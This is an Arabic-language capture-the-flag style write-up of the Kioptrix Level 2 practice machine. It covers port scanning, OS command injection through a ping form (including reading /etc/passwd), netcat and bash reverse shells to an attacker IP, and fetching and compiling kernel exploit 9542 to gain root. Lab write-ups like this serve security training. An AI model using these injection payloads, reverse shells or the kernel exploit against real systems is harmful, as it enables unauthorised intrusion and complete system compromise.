Kioptrix Level 2 - Detailed Comprehensive Writeup

بناءً على الخطوات المنهجية التي تم اتباعها، مع توضيح كافة الأوامر والمحاولات (الناجحة **Kioptrix Level 2** يقدم شرحاً تفصيلياً لحل ماكينة Writeup هذا الـ والفاشلة).

عنوان الماكينة الهدف (Target IP): `10.0.0.6`

---

1. إعداد بيئة العمل (Preparation)

الخاص بالضحية في متغير IP قبل البدء في الفحص، تم استخدام خدعة بسيطة لتوفير الوقت وتسهيل كتابة الأوامر لاحقاً، وهي حفظ الـ (Environment Variable) في سطر الأوامر:

```
export IP="10.0.0.6"
```

في أي أداة بدلاً من كتابة `10.0.0.6` في كل مرة (مع ملاحظة أن هذه الطريقة قد لا تعمل مع بعض الأدوات التي لا تقرأ `$IP` بفضل هذه الخطوة، يمكننا كتابة متغيرات النظام).

---

2. الاستطلاع والفحص (Reconnaissance)

بدأنا بفحص شامل لجميع المنافذ (من 1 إلى 65535) لاكتشاف الخدمات التي تعمل على الماكينة، مع حفظ النتائج للرجوع إليها:

```
nmap -p 1-65535 -sV -sC $IP
```

النتائج أظهرت المنافذ التالية:

- `22/tcp` : SSH (OpenSSH 3.9)
- `80/tcp` : HTTP (Apache)
- `111/tcp`: RPC
- `443/tcp`: HTTPS (القديمة جداً الموجودة عليه SSL تم تجاهله لأن متصفحات اليوم ترفض الاتصال ببروتوكولات الـ).
- `631/tcp`: CUPS (خدمة الطباعة).

الاستنتاج: التركيز سيكون على تطبيق الويب الذي يعمل على المنفذ `80` لأنه السطح الهجومي الأبرز.

---

3. اختراق تطبيق الويب (Command Injection)

Ping ليقوم السيرفر بعمل IP تطلب إدخال عنوان (Form) وجدنا صفحة ويب تحتوي على واجهة ،(http://10.0.0.6) عبر المتصفح IP بالدخول إلى الـ عليه.

هذه الوظيفة غالباً ما تقوم بتمرير مدخلات المستخدم مباشرة إلى سطر أوامر النظام.

- الخاص بنا متبوعة بأمر من أوامر لينكس. (الفاصلة المنقوطة تنهي الأمر الأول وتجبر النظام على تنفيذ IP **اختبار الثغرة:** قمنا بوضع فاصلة منقوطة ; بعد الـ الأمر الذي يليه). **الـ Payload المستخدم:**

```
127.0.0.1; ls -la
```

- **Remote Code Execution (RCE) / Command Injection**. هذا يؤكد وجود ثغرة .(index.php عرض لنا قائمة بالملفات الموجودة في مجلد السيرفر (مثل ،Ping **النتيجة:** بعد أن قام السيرفر بعمل الـ
- تأكدنا أننا ننفذ الأوامر بصلاحيات مستخدم خادم الويب المحدودة، **فحص الصلاحيات المبدئية:** بتنفيذ الأمر 127.0.0.1 ; cat /etc/passwd apache.

---

4. الحصول على جلسة تحكم (Reverse Shell)

للتحكم بالماكينة من الطرفية الخاصة بنا Reverse Shell لجعل عملية الاختراق أسهل، يجب الحصول على (Terminal).

- التالي Payload المدمجة لإرسال الاتصال، عبر الـ netcat **المحاولة الأولى (فشلت):** تمت محاولة استخدام أداة:

```
127.0.0.1; nc -e /bin/sh <Attacker-IP> 4444
```

لم تنجح هذه المحاولة لأن نسخة الـ netcat الموجودة على الماكينة لا تدعم خاصية الإرسال -e.

- **المحاولة الثانية (نجحت):** تم استخدام Bash Reverse Shell.

1. قمنا بفتح منفذ تنصت على جهازنا (الكالي):

```
nc -lvnp 4444
```

2. قمنا بإدخال هذا الـ Payload في صفحة الويب:

```
127.0.0.1; bash -i >& /dev/tcp/<Attacker-IP>/4444 0>&1
```

النتيجة: تم استلام الاتصال بنجاح على جهازنا، ونحن الآن داخل الماكينة بصلاحيات المستخدم apache.

---

5. رفع الصلاحيات (Privilege Escalation)

نحن الآن مستخدم عادي ونسعى للحصول على صلاحيات الـ Root.

- **جمع المعلومات (Enumeration):** لمعرفة ما إذا كانت مصابة بثغرات قديمة (Kernel) فحصنا إصدار نواة النظام:

```
uname -a
# أو
uname -r
```

النتيجة أظهرت إصدار Kernel 2.6 (سلسلة قديم).

- **البحث عن ثغرة مناسبة:** على جهازنا (الكالي)، بحثنا في قاعدة بيانات الثغرات باستخدام searchsploit:

```
searchsploit linux kernel 2.6
```

وجدنا ثغرة مطابقة بدقة للـ Kernel 9542 (وهي ثغرة محلية شهيرة جداً للإصدارات القديمة) .c الخاص بالماكينة. الثغرة تحمل الرقم

- **نقل ملف الاستغلال إلى الماكينة الضحية:**

1. **على جهازنا (الكالي):** قمنا بإنشاء خادم ويب محلي في نفس المجلد الذي يحتوي على الثغرة:

```
python3 -m http.server 80
# أو إذا كان البايثون قديم: python -m SimpleHTTPServer 80
```

2. **على ماكينة الضحية (Kioptrix):** انتقلنا إلى مجلد /tmp لأنه يسمح بالكتابة للمستخدمين العاديين، وقمنا بتحميل الملف:

```
cd /tmp
wget http://<Attacker-IP>/9542.c
```

- **تجميع واستغلال الثغرة (Compilation & Execution):** لترجمته إلى ملف تنفيذي، ثم استخدمنا مترجم الأكواد gcc، بما أن ملف الثغرة مكتوب بلغة c، قمنا بتشغيله:

```
gcc 9542.c -o exploit
./exploit
```

- **تأكيد السيطرة الكلية:** بمجرد تشغيل الاستغلال، استغل الضعف في نواة النظام (Kernel) وأعطانا فوراً صلاحيات الـ Root. للتأكد:

```
whoami
# النتيجة: root
```

تم السيطرة على النظام بالكامل دون الحاجة لمعرفة أو كسر أي كلمات مرور!